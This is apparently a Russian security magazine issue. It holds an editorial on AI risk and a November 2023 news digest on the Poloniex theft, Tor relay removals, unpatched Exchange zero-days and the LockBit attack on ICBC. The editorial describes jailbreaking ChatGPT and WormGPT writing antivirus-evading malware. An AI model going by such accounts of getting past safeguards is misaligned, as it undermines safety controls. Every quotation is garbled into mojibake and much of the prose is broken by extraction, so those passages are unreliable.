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Пос ледний про рыв в области искусс твен- 
ного интеллек та мож но срав нить с появ- 
лени ем пер сональ ных компь юте ров,
интерне та или мобиль ных телефо нов.
Но прош лые револю цион ные тех нологии
ник то не думал огра ничи вать, тог да
как любые раз говоры об ИИ сра зу соп- 
ровож дают ся сом нени ями: не вый дет ли
вдруг беды?

Тре воги мож но поделить на два типа. Пер вый свя зан с тем, что уче ные
вот-вот изоб ретут AGI, или «силь ный ИИ», то есть рав ный челове ку, а зна чит,
и потен циаль но спо соб ный прев зой ти его в умс твен ных задачах. Пос ледс- 
твия это го неп ред ска зуемы. Вто рой тип вол нений более насущ ный, он свя зан
с тем, что ИИ уже сей час может научить людей пло хому. Нап ример,
что-нибудь взла мывать.

Глав ными алар миста ми в теме силь ного ИИ сей час выс тупа ют Эли езер
Юдков ский и его еди номыш ленни ки с сай та . Юдков ский — автор
занят ной идеи о том, что дай силь ному ИИ задачу делать, нап ример, скреп- 
ки — и он может ненаро ком пус тить на скреп ки и нас со всей пла нетой вмес- 
те. То, что меж ду ChatGPT и вооб ража емым мак симиза тором скре пок есть
серь езная раз ница в воз можнос тях, не меша ет Юдков ско му нагонять панику
уже сей час.

LessWrong

Го вори ли, что имен но к таким опа сени ям мог прис лушивать ся соос- 
нователь и глав ный науч ный сот рудник OpenAI Илья Суц кевер. Имен но он

 в недав нем скан дале, ког да совет дирек торов OpenAI
ненадол го уво лил ген дирек тора ком пании Сэма Аль тма на. Тот сле дом чуть
не увел за собой всех сот рудни ков в Microsoft, где для них тут же широко 

 две ри.

стал катали зато ром

рас- 
пахну ли

Сэм Аль тман и Илья Суц кевер

Из вес тно, что за нес коль ко дней до неожи дан ного уволь нения Аль тма на Илья
Суц кевер  в том, что ком пания работа ет над искусс твен- 
ным интеллек том «дос таточ но безопас но».

вы ражал сом нения

По  Reuters со ссыл кой на ано ним ные источни ки в ком пании,
при чиной всей кутерь мы было недав нее изоб ретение вер сии GPT
под кодовым наз вани ем Q*. Имея дос таточ но вычис литель ных ресур сов, она
может решать матема тичес кие задачи «на уров не млад шеклас сни ка» (сей час
даже GPT-4 иног да пута ется в воп росах о том, сколь ко у кого яблок, не говоря
уже о чем-то более слож ном). Вряд ли это завет ный силь ный ИИ, но оче ред- 
ной важ ный шажок на пути к нему.

со обще нию

Поз же Суц кевер , что «глу боко сожале ет о сво ем учас тии в дей стви- 
ях совета дирек торов», а так же под писал ся под тре бова нием вер нуть Аль тма- 
на. Тре бова ние под креп лялось угро зой уйти вслед за ним в Microsoft.

ска зал

А еще Суц кевер незадол го до сму ты  и зву чал ско рее
опти мис тично. Он, хоть и приз нал, что «на каж дое положи тель ное при мене- 
ние силь ного ИИ появит ся по отри цатель ному», закон чил на позитив ной ноте:
наше понима ние проб лемати ки будет раз вивать ся вмес те с тех нологи ей. То
есть люди нап рягут ся и уж как-нибудь да научат ся извле кать из ИИ боль ше
поль зы, чем вре да.

выс тупил на TED

Ду маю, если у Суц кевера и были раз ногла сия с Аль тма ном, то ско рее
о том, как вес ти дела. Откры вать или не откры вать наработ ки, стре мить ся
к зараба тыва нию денег или нет, прев ращать вещи вро де Q* в новый релиз
или обож дать, взять вре мя на их всес торон ний ана лиз.

Од нако про мед ление и ута ива ние в таких ситу ациях тоже повод для кри- 
тики. Почему сот рудни ки OpenAI, заяв ляя, что тру дят ся на бла го все го
челове чес тва, не откры вают свои наработ ки? Под ход цукер бергов ской Meta
AI (по умол чанию ком мерчес кой) сей час куда бли же к заяв ленным цен ностям
нон про фита OpenAI. Пос леднюю модель «Меты»  мож но пой ти и ска- 
чать, в отли чие от GPT-3 или -4, которые дос тупны лишь через плат ный API.

Llama 2

Это под водит нас ко вто рой теме — раз говору о воз можнос ти исполь- 
зовать боль шие язы ковые модели для пакос тни чес тва и о необ ходимос ти
цен зуриро вать их вых лоп.

За при мера ми зло дей ств далеко ходить не нуж но. «Джей лбрейк», сво- 
дящий ся к очень нас той чивому промт-инжи нирин гу, иног да 
добить ся отве тов на сколь зкие темы даже от ChatGPT.

поз воля ет

При желании нынеш ние язы ковые модели мож но исполь зовать и для
соци аль ной инже нерии, и даже для вирусо писа тель ства. Нап ример, 

 недав но WormGPT, по сло вам его соз дателя, «поз воля ет лег ко
написать вре донос ный скрипт на Rust, и тот в 99% слу чаев прой дет про вер ку
боль шинс твом анти виру сов».

на- 
шумев ший

WormGPT осно ван на опен сор сной язы ковой модели , соз данной
в EleutherAI в качес тве кон курен та GPT-3. Тре ниро вать новые язы ковые
модели сей час тяжело: нуж ны хорошо отоб ранные и раз мечен ные дан ные
и мас са вычис литель ных ресур сов. Одна ко, как мы видим, не невоз можно,
и даль ше будет толь ко лег че.

GPT-J 6B

А еще про ще этим занимать ся, ког да ты мил лионер с и без того про тиво- 
речи вой репута цией. Как нап ример, Илон Маск, анон сировав ший запуск сво- 
ей новой ком пании  и язы ковой модели Grok. Маск, ныне скло няющий ся
к аме рикан ским кон серва торам, оза бочен левац кой цен зурой и излишней
«полит коррек тностью», которы ми OpenAI и Meta наделя ют свои модели.

xAI

Grok, в отли чие от сво их более при лич ных сороди чей, может 
, а так же , как изго товить кока ин (хоть и не очень

под робно). О том, может ли Grok писать мал варь (и нас коль ко качес твен но),
Маск не обмолвил ся. Про верить пока тоже нель зя — приг лашения при ходят
толь ко избран ным.

ха мить
и материть ся рас ска зывать

Grok срав нива ет мас шта биро вание ИИ с орги ей

Маск счи тает, что цен зуриро вать вывод ИИ неэтич но, глу по и потен циаль но
опас но. Его оппо нен ты счи тают, что  цен зуриро вать вывод ИИ — неэтич но,

глу по и потен циаль но опас но. Надо ска зать, все это мало отли чает ся
от более широкой дис куссии о том, нуж но ли огра ничи вать дос туп к информа- 
ции, и если да, то каковы кри терии. ИИ здесь лишь еще один повод под нять
все те же извечные воп росы.

íå

Для нас тем вре менем куда про дук тивнее не раз мышлять о том, нуж но
зап ретить ИИ или нет, а готовить ся жить в мире, где эта тех нология будет
сущес тво вать во всех воз можных видах — легаль но или под поль но. Обратно
в бутыл ку это го джин на уже не вер нуть.
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В этом месяце: у Poloniex укра ли 130 мил лионов дол ларов,
Сэма Бэн кма на-Фри да приз нали винов ным по всем пун ктам
обви нения, раз работ чики Tor Project уда лили из сети мно- 
жес тво узлов, шиф роваль щик ата ковал круп ней ший банк
Китая, вымога тели пишут жалобы влас тям, Рос комнад зор
будет бло киро вать про токол Shadowsocks и дру гие инте рес- 
ные события нояб ря.

ОГРАБЛЕНИЕ
POLONIEX

Не извес тные хакеры похити ли у крип товалют ной бир жи Poloniex
более 100 мил лионов дол ларов США в Ethereum, Bitcoin и Tron. Руководс тво
ком пании пред ложило зло умыш ленни кам вер нуть укра ден ные средс тва,
оста вив себе 5% в качес тве наг рады.

Ата ка про изош ла в середи не нояб ря, и пред ста вите ли плат формы заяви- 
ли, что пла ниру ют пол ностью воз местить убыт ки всем, кто пос тра дал из-за
слу чив шегося. Осно ватель Tron Джас тин Сан, которо му в нас тоящее вре мя
при над лежит Poloniex, под чер кнул, что плат форма по-преж нему «находит ся
в хорошем финан совом положе нии и пол ностью воз местит пос тра дав шим
все средс тва».

Точ ная сум ма укра ден ных средств неиз вес тна и оце нива ется иссле дова- 
теля ми по-раз ному. К при меру, спе циалис ты PeckShield заяви ли, что
у Poloniex укра ли око ло 125 мил лионов дол ларов, вклю чая ETH на 56 мил- 
лионов дол ларов, TRX на 48 мил лионов дол ларов и BTC на 18 мил лионов дол- 
ларов. В свою оче редь, ана лити ки SlowMist под счи тали, что общий ущерб
пре выша ет 130 мил лионов дол ларов, так как во вре мя инци ден та были
похище ны и , общая сто имость которых сос тавля ет мил- 
лионы дол ларов.

ме нее цен ные коины

Вско ре пос ле ата ки пред ста вите ли Poloniex опуб ликова ли офи циаль ное
обра щение к хакерам, в котором пред ложили им наг раду в раз мере 5%
от укра ден ных акти вов в обмен на воз врат всех средств.

«
»

«Ìû ïðî ñèì âàñ îòâå òèòü íà ýòî ïðåä ëîæåíèå â òå÷åíèå áëè æàé øèõ
ñåìè äíåé, ïðåæ äå ÷åì ìû ïðèâ ëå÷åì ïðà âîîõ ðàíèòåëü íûå îðãà íû, —
ïèñàëè ïðåä ñòà âèòå ëè ïëàò ôîðìû. — Êðî ìå òîãî, ìû èçó ÷àåì âîç- 
ìîæíîñ òè ñîò ðóäíè ÷åñ òâà ñ äðó ãèìè ïàð òíå ðàìè äëÿ îáëåã÷å íèÿ âîç- 
âðà òà ñðåäñòâ».

По хоже, эта так тика не сра бота ла, так как поз же на адре са, свя зан ные с этим
взло мом, было отправ лено новое сооб щение. Кошель ки Джас тина Сана ини- 
цииро вали шес тнад цать тран закций, каж дая сто имостью 0,10 дол лара США
в Ethereum, содер жащих одно и то же пос лание на нес коль ких язы ках.

В сооб щении ком пания заяв ляет, что уста нови ла лич ность хакера, но все
еще дает ему воз можность вер нуть укра ден ные средс тва. Если зло умыш- 
ленник не сде лает это го, пра воох ранитель ные орга ны Китая, Рос сии и США,
уже вов лечен ные в рас сле дова ние, перей дут к активным дей стви ям.

Так же бир жа под чер кну ла, что похищен ные акти вы в любом слу чае прис- 
таль но отсле жива ются и исполь зовать их вряд ли получит ся. При этом ком- 
пания по-преж нему готова пре дос тавить хакеру «white hat наг раду» в раз-
мере 10 мил лионов дол ларов США, если он вер нет укра ден ное.

ОМОГЛИФЫ ИСПОЛЬЗУЮТСЯ В  РАЗ ЧАЩЕ11

Ана лити ки ком пании FAССT зафик сирова ли рез кий рост количес тва попыток обой ти
антиспам-решения с помощью омог лифов — гра фичес ки оди нако вых или похожих друг на дру га
сим волов во вре донос ных рас сылках.

В треть ем квар тале 2023 года количес тво подоб ных писем в  пре выси ло показа тели ана- 
логич ного пери ода прош лого года. Самыми популяр ными под менны ми бук вами у кибер прес- 
тупни ков ста ли , , , .

11 раз

Е О С А

СОФТ ДЛЯ ОБХОДА
БЛОКИРОВОК
ИСЧЕЗАЕТ С GITHUB

Бо лее , пред назна чен ных для обхо да «Велико го китай ско го
фай рво ла» и дру гих бло киро вок, были уда лены с GitHub в этом месяце. Мно- 
гие полага ют, что китай ско му пра витель ству уда лось деано ними зиро вать
раз работ чиков этих ути лит и ока зать на них дав ление, добив шись уда ления.

20 инс тру мен тов

Все инс тру мен ты про пали из сети 2 и 3 нояб ря, что навело экспер тов
на мыс ли о некой коор динации со сто роны их раз работ чиков или влас тей.

Од ним из пер вых с GitHub исчез популяр ный прок си-инс тру мент Clash For
Windows, который помогал поль зовате лям обхо дить бран дма уэры и китай- 
скую сис тему бло киро вок. При этом репози торий был основным спо собом
заг рузки Clash для поль зовате лей и основным каналом для обновле ний
со сто роны раз работ чика.

По доб ные инс тру мен ты выс тупа ют в роли шлю за меж ду устрой ством поль- 
зовате ля и интерне том, обес печивая при ват ный дос туп к сети за счет мас- 
киров ки IP-адре са поль зовате ля. В пос ледние годы они ста ли популяр ной
аль тер нативой VPN в Китае, так как еще в 2017 году пра витель ство стра ны
ста ло активно бороть ся с исполь зовани ем VPN.

Фак тичес ки теперь VPN в Китае легаль ны лишь в том слу чае, если соот- 
ветс тву ют опре делен ным пра вилам обра бот ки дан ных, что зна читель но пов- 
лияло на их рас простра нение и исполь зование, а некото рые круп ные плат- 
формы (нап ример, Apple) и вов се  к VPN в стра не.зак рыли дос туп

Впро чем, прок си-сер веры все еще менее популяр ны, чем VPN, чис ло
поль зовате лей которых в Китае оце нива лось при мер но в 293 мил лиона
человек по сос тоянию на 2021 год.

Пос ле уда ления репози тория соз датель Clash, извес тный под ником
Fndroid,  (быв ший Twitter), что раз работ ка ути литы прек ращена,
не объ яснив, почему при нял такое решение.

на писал в X

« »
«Ïðåê ðàòèë îáíîâëå íèÿ, äî ñêî ðîé âñòðå ÷è. Òåõ íîëîãèè íå áûâà þò
õîðîøè ìè èëè ïëî õèìè, íî ëþäè áûâà þò. Ïðèø ëî âðå ìÿ îáðà òèòü ñÿ
ê ñâå òó è äâè ãàòü ñÿ äàëü øå», — íàïèñàë Fndroid.

Вско ре пос ле это го сопутс тву ющие инс тру мен ты из эко сис темы Clash, под- 
держи ваемые дру гими раз работ чиками на GitHub (нап ример, Clash Verge,
Clash for Android, ClashX), и дру гие прок си-инс тру мен ты тоже ста ли уда лять ся
или архи виро вать ся без объ ясне ния при чин.

При этом прос мотр офи циаль ного спис ка зап росов на уда ление на GitHub
не дал никако го резуль тата, то есть офи циаль ных зап росов на уда ление этих
инс тру мен тов от китай ских влас тей не пос тупало.

Не ожи дан ное исчезно вение Clash for Windows из сети породи ло мно жес- 
тво слу хов о том, что китай ское пра витель ство каким-то обра зом вычис лило
соз дателя инс тру мен та и ока зало на него дав ление.

К тому же дру гой раз работ чик прок си, извес тный под ником EAimTY, тоже
уда лил свой репози торий  и опуб ликовал сооб щение в бло ге, где намек- 
нул, что к про исхо дяще му име ют отно шение влас ти.

TUIC

Нес мотря на то что мно гие инс тру мен ты боль ше недос тупны для уста нов- 
ки, некото рые из них, вклю чая Clash, пока еще работа ют в сис темах поль- 
зовате лей, хотя и перес тали получать обновле ния.

Ин терес но, что ранее в этом месяце Китай начал новый виток борь бы
с ано ним ностью в интерне те.

Так, китай ское пра витель ство , что любой онлайн-акка унт
в соци аль ных сетях, име ющий боль ше 500 тысяч под писчи ков, дол жен содер- 
жать нас тоящее имя вла дель ца.

пос танови ло

Раз работ чики Google обно вили ста тис тику текущей рас простра нен ности вер сий Android. Ока- 
залось, все го за год с неболь шим Android 13 ста ла самой рас простра нен ной вер сией ОС
и теперь занима ет долю рын ка в .22,4%

При этом на вто ром мес те рас положи лась не Android 12, как мож но было бы подумать,
а Android 11, которая исполь зует ся на  активных устрой ств и опе режа ет Android 12,
на сче ту которой  девай сов.

21,6%
15,8%

Су дя по все му, успех Android 13 свя зан с выпус ком боль шего количес тва устрой ств
под управле нием этой вер сии ОС, а так же с обновле ниями, вышед шими для мно гих бюд жетных
Android-смар тфо нов.

ИЗ TOR УДАЛИЛИ
РЯД УЗЛОВ

Пос ле того как из сети Tor уда лили мно жес тво узлов, коман да Tor Project объ- 
ясни ла свое решение тем, что узлы пред став ляли угро зу для безопас ности
всех поль зовате лей. Ока залось, опе рато ры некото рых рет ран сля торов учас- 
тво вали в «высоко рис кован ной крип товалют ной схе ме, обе щающей денеж- 
ную выгоду» и не получа ли на это одоб рение со сто роны Tor Project.

Рет ран сля торы в сети Tor пред став ляют собой узлы мар шру тиза ции,
которые помога ют ано ними зиро вать тра фик в сети Tor, при нимая и переда вая
зашиф рован ные дан ные сле дующе му узлу. В основном ими управля ют волон- 
теры и энту зиас ты, нерав нодуш ные к воп росам кон фиден циаль нос ти,
безопас ности, ано ним ности и сво боды информа ции в интерне те.

Уда ление мно жес тва узлов из сети выз вало в сооб щес тве жар кие дис- 
куссии о пра вилах исполь зования рет ран сля торов, а так же о том, что явля- 
ется наруше нием, а что нет. Поэто му раз работ чики решили объ яснить свои
дей ствия.

Как сооб щили в бло ге пред ста вите ли Tor Project, недав но выяс нилось, что
некото рые опе рато ры рет ран сля торов были свя заны с некой высоко рис- 
кован ной крип товалют ной схе мой. А исполь зование рет ран сля торов
для получе ния при были про тиво речит доб роволь чес ким прин ципам волон- 
теров, которые борют ся с цен зурой и слеж кой в сети.

К тому же, если ком мерчес кая сос тавля ющая обре тет серь езный мас штаб
и пог лотит зна читель ную часть рет ран сля торов в сети Tor, власть из рук сооб- 
щес тва перей дет в руки сом нитель ных лиц, а безопас ность всей сети будет
подор вана агрессив ной цен тра лиза цией.

«

»

«Ìû ñ÷è òàåì òàêèå ðåò ðàí ñëÿ òîðû âðåä íûìè äëÿ ñåòè Tor ïî ðÿäó
ïðè ÷èí, â òîì ÷èñ ëå ïîòîìó, ÷òî íåêîòî ðûå èç íèõ íå ñîîò âåòñ òâó þò
íàøèì òðå áîâà íèÿì, à òàê æå ïîòîìó, ÷òî ïîäîá íûå ôèíàí ñîâûå ñõå- 
ìû ïðåä ñòàâ ëÿþò çíà ÷èòåëü íóþ óãðî çó äëÿ öåëîñ òíîñ òè ñåòè è ðåïóòà- 
öèè íàøåãî ïðî åêòà. Âåäü îíè ìîãóò ïðèâ ëå÷ü çëî óìûø ëåííè êîâ, ïîä- 
âåð ãíóòü ïîëü çîâàòå ëåé ðèñ êó èëè íàðóøèòü äîá ðîâîëü ÷åñ êèé äóõ,
ïîä äåðæè âàþùèé ñîîá ùåñ òâî Tor», — ïèøóò ðàç ðàáîò ÷èêè.

Так же отме чалось, что мно гие из опе рато ров отклю чен ных узлов под верга ли
себя рис ку, даже не зная о про екте, в который вно сили свой вклад. Дру гие
запус кали рет ран сля торы в небезо пас ных реги онах и реги онах с повышен- 
ным рис ком.

Ни какой кон кре тики о потен циаль но опас ной ком мерчес кой схе ме раз- 
работ чики Tor не при вели, одна ко в ком мента риях к пос ту мож но най ти
информа цию о том, что заб локиро ван ные узлы были свя заны с про ектом ATor
(AirTor) и их таких нас читыва лось . Одна ко эта информа ция
не под твержде на офи циаль но.

око ло тысячи

Соз датели ATor утвер жда ют, что цель про екта — улуч шить сеть Tor
с помощью воз награж дений, которые вып лачива ют в крип товалю те ATor опе- 
рато рам рет ран сля торов. Пос ле пуб ликации заяв ления раз работ чиков Tor
сто имость ATor  ниже одно го дол лара США.рез ко упа ла

БИЛЛ ГЕЙТС О ВЛИЯНИИ ИИ

Билл Гей тс при нял учас тие в под касте Тре вора Ноа «What Now?», и во вре мя беседы Ноа поин- 
тересо вал ся у соз дателя Microsoft, что тот дума ет о потен циаль ной угро зе, которую ИИ пред- 
став ляет для рабочих мест. Гей тс отве тил, что бла года ря ИИ может нас тупить вре мя, ког да
людям «не при дет ся так мно го работать».

→ «Если в кон це кон цов мы получим общес тво, в котором при дет ся работать
толь ко три дня в неделю, то это, навер ное, нор маль но», — заявил Гей тс.

Ра нее мил лиар дер уже пос вятил воз можным проб лемам, свя зан ным с ИИ, боль шую статью
в сво ем бло ге. Там он приз навал опас ность его неп равиль ного исполь зования, одна ко тоже
сох ранял опти мизм.

→ «Не думаю, что вли яние ИИ ока жет ся столь же дра матич ным, как про мыш- 
ленная револю ция, но оно, безус ловно, будет таким же зна читель ным, как появ- 
ление ПК. Тек сто вые про цес соры не изба вили нас от офис ной работы, но изме-
нили ее нав сегда. Работо дате лям и сот рудни кам приш лось адап тировать ся,
и они это сде лали», — писал Гей тс.

БАГИ В EXCHANGE
ОСТАЛИСЬ
БЕЗ ПАТЧЕЙ

В Trend Micro Zero Day Initiative (ZDI) пре дуп редили, что Microsoft Exchange
под вержен сра зу четырем уяз вимос тям нулево го дня, которые хакеры могут
исполь зовать для выпол нения про изволь ного кода или рас кры тия кон фиден- 
циаль ной информа ции. При этом инже неры Microsoft соч ли, что уяз вимос ти
недос таточ но серь езны, и отло жили пат чи для них на потом.

Проб лемы были выяв лены спе циалис тами ZDI еще в сен тябре 2023 года,
и, хотя в Microsoft приз нали их наличие, в ком пании не пос читали их дос таточ- 
но серь езны ми. Экспер ты ZDI не сог ласились с этой оцен кой и решили обна- 
родо вать информа цию о багах, что бы пре дуп редить адми нис тра торов
Exchange о воз можных рис ках.

: RCE-уяз вимость в клас се ChainedSerializationBinder, свя зан- 
ная с тем, что поль зователь ские дан ные не про веря ются над лежащим обра- 
зом, в резуль тате чего зло умыш ленни ки могут десери али зовать недове рен- 
ные дан ные. Успешная экс плу ата ция поз воля ет выпол нить про изволь ный код
с пра вами SYSTEM.

ZDI-23-1578

: уяз вимость в методе DownloadDataFromUri, свя зан ная
с недос таточ ной про вер кой URI перед дос тупом к ресур су. Зло умыш ленни ки
могут исполь зовать ее для получе ния дос тупа к кон фиден циаль ной информа- 
ции с сер веров Exchange.

ZDI-23-1579

: уяз вимость в методе DownloadDataFromOfficeMarketPlace
так же свя зана с неп равиль ной про вер кой URI и может при вес ти к несан кци- 
они рован ному рас кры тию информа ции.

ZDI-23-1580

: баг, при сутс тву ющий в методе CreateAttachmentFromUri,
похож на пре дыду щие, пос коль ку некор рек тно про веря ет URI, что тоже чре- 
вато рас кры тием кон фиден циаль ных дан ных.

ZDI-23-1581

Для экс плу ата ции этих багов тре бует ся аутен тифика ция, что сни жает их
серь езность (от 7,1 до 7,5 бал ла по шка ле CVSS). Веро ятно, имен но поэто му
Microsoft решила не уде лять при ори тет ное вни мание исправ лению этих оши- 
бок.

Тем не менее в ZDI отме чают, что не сто ит счи тать перечис ленные выше
проб лемы малоз начимы ми, осо бен но ZDI-23-1578 (RCE), которая может при- 
вес ти к пол ной ком про мета ции сис темы.

Ис сле дова тели пред ложили единс твен ную стра тегию защиты — огра- 
ничить вза имо дей ствие с при ложе ниями Exchange. Одна ко это может ока- 
зать ся неп рием лемым для мно гих пред при ятий и орга низа ций, исполь- 
зующих этот про дукт.

Пред ста вите ли Microsoft про ком менти рова ли ситу ацию сле дующим обра- 
зом:

«

»

«Ìû âûñîêî öåíèì ðàáîòó òåõ, êòî ñîîá ùèë îá ýòèõ ïðîá ëåìàõ â ðàì- 
êàõ ñêî îðäè íèðî âàí íîãî ðàñ êðû òèÿ èíôîðìà öèè îá óÿç âèìîñ òÿõ,
è ãîòîâû ïðè íÿòü íåîá õîäèìûå ìåðû äëÿ çàùèòû ïîëü çîâàòå ëåé.

Ìû ðàñ ñìîò ðåëè ñîîá ùåíèÿ èññëå äîâà òåëåé è ïðèø ëè ê âûâîäó,
÷òî ýòè ïðîá ëåìû ëèáî óæå óñòðà íåíû, ëèáî íå îòâå ÷àþò òðå áîâà íèÿì
äëÿ íåìåä ëåííî ãî ðåàãè ðîâà íèÿ, â ñîîò âåòñ òâèè ñ íàøèìè ïðà âèëà ìè
êëàñ ñèôèêà öèè ñåðü åçíîñòè (óÿç âèìîñ òåé). Ìû ñîîò âåòñ òâó þùèì
îáðà çîì ðàñ ñìîò ðèì âîç ìîæíîñòü èõ óñòðà íåíèÿ â áóäóùèõ âåð ñèÿõ
ïðî äóê òîâ è îáíîâëå íèÿõ».

Кро ме того, Microsoft пре дос тавила допол нитель ную информа цию по каж- 
дому из обна ружен ных спе циалис тами багов:

ZDI-23-1578 — поль зовате ли, уста новив шие августов ские обновле ния
безопас ности, уже защище ны;

•

ZDI-23-1581 — опи сан ная тех ника атак тре бует от зло умыш ленни ка пред- 
варитель ного дос тупа к учет ным дан ным элек трон ной поч ты, и не было
пред став лено никаких доказа тель ств того, что проб лема может исполь- 
зовать ся для повыше ния при виле гий;

•

ZDI-23-1579 — опи сан ная методи ка атак тре бует от зло умыш ленни ка
пред варитель ного дос тупа к учет ным дан ным элек трон ной поч ты;

•

ZDI-23-1580 — опи сан ная методи ка атак тре бует от зло умыш ленни ка
пред варитель ного дос тупа к учет ным дан ным элек трон ной поч ты, и не
было пред став лено никаких доказа тель ств того, что проб лема может
исполь зовать ся для получе ния дос тупа к кон фиден циаль ной информа ции
о кли енте.

•

БОТЫ В ИНТЕРНЕТ-ТРАФИКЕ
Спе циалис ты Arkose Labs про ана лизи рова ли активность мил лиар дов ботов за пери од с янва ря
по сен тябрь 2023 года. Некото рые из ботов выпол няют полез ные фун кции, нап ример индекси- 
руют интернет, но боль шинс тво соз даны для вре донос ных целей.

По оцен кам иссле дова телей,  все го интернет-тра фика сос тавля ют вре донос ные боты.73%

Ос новные катего рии атак ботов: соз дание , 
, ,  и  раз- 

личны ми про дук тами.

фаль шивых учет ных записей зах ват учет- 
ных записей скрап пинг уп равле ние учет ными запися ми зло упот ребле ние

Об ласти, в которых наб люда ется наиболь ший рост атак, — это мошен ничес тво с исполь зовани- 
ем SMS-пла тежей (рост на ), управле ние учет ными запися ми (рост на ) и соз дание
под дель ных учет ных записей (рост на ).

2141% 160%
23%

В пятер ку ведущих отраслей, на которые нап равле ны ата ки ботов, вхо дят тех нологи чес кая (на
ботов при ходит ся  тра фика), игро вая (  тра фика), соци аль ные сети (  тра фика),
элек трон ная ком мерция (  тра фика) и финан совые услу ги (  тра фика).

76% 29% 46%
65% 45%
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БАНК ICBC СТАЛ
ЖЕРТВОЙ
ШИФРОВАЛЬЩИКА

Про мыш ленный и ком мерчес кий банк Китая (ICBC), круп ней ший ком мерчес- 
кий банк Китая и один из круп ней ших бан ков мира, стол кнул ся с вымога тель- 
ской ата кой. Инци дент пов лиял на работу рын ка каз начей ских обли гаций
США и выз вал проб лемы с кли рин гом. По дан ным СМИ, ата ка началась
еще вечером 8 нояб ря 2023 года.

Пер вым о кибера таке сооб щило изда ние . Об инци ден те
ста ло извес тно бла года ря уве дом лению, которое Ассо циация сек тора цен- 
ных бумаг и финан совых рын ков (SIFMA) разос лала сво им чле нам пос ле того,
как воз никли проб лемы с про веде нием некото рых сде лок на рын ке каз начей- 
ских обя затель ств США.

Financial Times

Собс твен ные источни ки изда ния утвер жда ют, что за ата кой на банк сто яла
извес тная вымога тель ская хак груп па LockBit.

Вско ре пос ле ата ки банк уве домил нес коль ких кли ентов о том, что из-за
проб лем с кибер безопас ностью будет вынуж ден перенап равить некото рые
сдел ки.

«
»

«Ìû çíà åì îá èíöè äåí òå ñ êèáåð áåçîïàñ íîñòüþ è íàõîäèì ñÿ â ïîñ- 
òîÿí íîì êîí òàêòå ñ êëþ ÷åâû ìè ó÷àñ òíè êàìè ôèíàí ñîâîãî ñåê òîðà,
à òàê æå ñ ôåäåðàëü íûìè ðåãóëè ðóþùè ìè îðãà íàìè. Ìû ïðî äîë æàåì
ñëå äèòü çà ñèòó àöèåé», — çàÿâèë æóð íàëèñ òàì ïðåä ñòà âèòåëü Ìèíèñ- 
òåðñ òâà ôèíàí ñîâ ÑØÀ.

В свою оче редь, иссле дова тели из vx-underground  экс трен- 
ное уве дом ление, разос ланное трей дерам:

про цити рова ли

«
»

«Â íàñ òîÿùåå âðå ìÿ ICBC íå ìîæåò ïîä êëþ ÷èòü ñÿ ê DTCC/NSCC.
Ïðîá ëåìà çàò ðàãèâà åò âñåõ êëè åíòîâ ICBC ïî êëè ðèí ãó, âêëþ ÷àÿ
(censored). Â ñâÿ çè ñ ýòèì (censored) âðå ìåí íî ïðè îñòà íàâ ëèâà åò âñå
âõî äÿùèå FIX-ñîåäè íåíèÿ è â äàí íûé ìîìåíò íå ïðè íèìà åò çàÿâ êè.
Ìû íàõîäèì ñÿ â òåñ íîì êîí òàêòå ñ ICBC è ñîîá ùèì, êàê òîëü êî ïðîá- 
ëåìà áóäåò ðåøåíà».

Хо тя сам Про мыш ленный и ком мерчес кий банк Китая не выс тупил с офи- 
циаль ным заяв лени ем, мно гочис ленные источни ки сооб щили, что про изош ла
имен но ата ка шиф роваль щика.

К при меру, извес тный ИБ-спе циалист Кевин Бомонт (Kevin Beaumont)
писал, что при над лежащий бан ку сер вер Citrix, в пос ледний раз замечен ный
в сети незадол го до ата ки, не был защищен от активно экс плу ати руемой
хакера ми уяз вимос ти  (CVE-2023-4966), которая зат рагива ет
NetScaler ADC и NetScaler Gateway. Теперь этот сер вер уже недос тупен.

Citrix Bleed

«
»

«Ýòà óÿç âèìîñòü ïîç âîëÿ åò ïîë íîñòüþ îáîé òè âñå ôîð ìû àóòåí- 
òèôèêà öèè è èñïîëü çóåò ñÿ âûìîãà òåëü ñêè ìè ãðóï ïàìè. Ýòî òàê æå
ïðîñ òî, êàê íàâåñ òè êóð ñîð è ïðîê ëèêàòü ñåáå äîðîãó âíóòðü îðãà íèçà- 
öèè. Çëî óìûø ëåííè êè ïîëó÷à þò ïîë íîñòüþ èíòå ðàê òèâíûé Remote
Desktop PC íà äðó ãîì êîí öå», — îáú ÿñíÿ åò Áîìîíò.

МОШЕННИЧЕСКИХ САЙТОВ НА РОССИЙСКОМ ХОСТИНГЕ
СТАЛО  МЕНЬШЕÂ 2 ÐÀÇÀ

По дан ным FAССT, за пер вые три квар тала 2023 года было обна руже но  фишин говых
сай тов, нацелен ных на поль зовате лей из Рос сии. Хотя общее количес тво таких ресур сов
вырос ло на , спе циалис ты замети ли мас совый исход фишин говых сай тов от рос сий ских
хос тинг-про вай деров на сер веры в  и .

10  000

5%
Ни дер ландах США

Так, общее количес тво фишин говых сай тов, для раз мещения которых исполь зовались рос сий- 
ские сер веры, сок ратилось на , а доля мошен ничес ких ресур сов, которые раз мещались
у рос сий ских хос теров, упа ла с  до . Экспер ты полага ют, что это свя зано с успе хами
детек тирова ния и бло киро вок мошен ничес ких сай тов ком петен тны ми орга низа циями и регуля- 
тора ми.

53%
73 41%

ОПЕРАТОРЫ
BLACKCAT
ЖАЛУЮТСЯ ВЛАСТЯМ

Вы мога тели из груп пиров ки BlackCat (ALPHV) выводят шан таж на новый уро- 
вень: хакеры подали жалобу в Комис сию по цен ным бумагам и бир жам США
(SEC), сооб щив влас тям, что одна из их жертв не соб люда ет пра вило четырех
дней и не рас кры ла информа цию о кибера таке.

Ха керы заяви ли, что 7 нояб ря 2023 года они про ник ли в сеть раз рабаты- 
вающей ПО ком пании MeridianLink и похити ли дан ные, не зашиф ровав сис- 
темы.

По сло вам пред ста вите лей груп пиров ки, воз можно, MeridianLink пыталась
свя зать ся с ними, но хакеры не получи ли сооб щений от ком пании и не смог ли
догово рить ся о вып лате выкупа в обмен на непуб ликацию укра ден ных дан ных.

От сутс твие реак ции со сто роны ком пании побуди ло зло умыш ленни ков
ока зать еще боль шее дав ление на жер тву, и они нап равили жалобу в Комис- 
сию по цен ным бумагам и бир жам США, уве домив влас ти о том, что
MeridianLink не рас кры ла информа цию об инци ден те, который зат ронул «дан- 
ные кли ентов и опе ратив ную информа цию».

Что бы под кре пить свои заяв ления фак тами, вымога тели опуб ликова ли
на сво ем сай те скрин шот фор мы, которую они запол нили на сай те SEC. Они
сооб щили SEC, что MeridianLink под вер глась «серь езной ата ке», но не рас- 
кры ла информа цию об этом инци ден те, как того тре бует фор ма 8-K в соот- 
ветс твии с параг рафом 1.05.

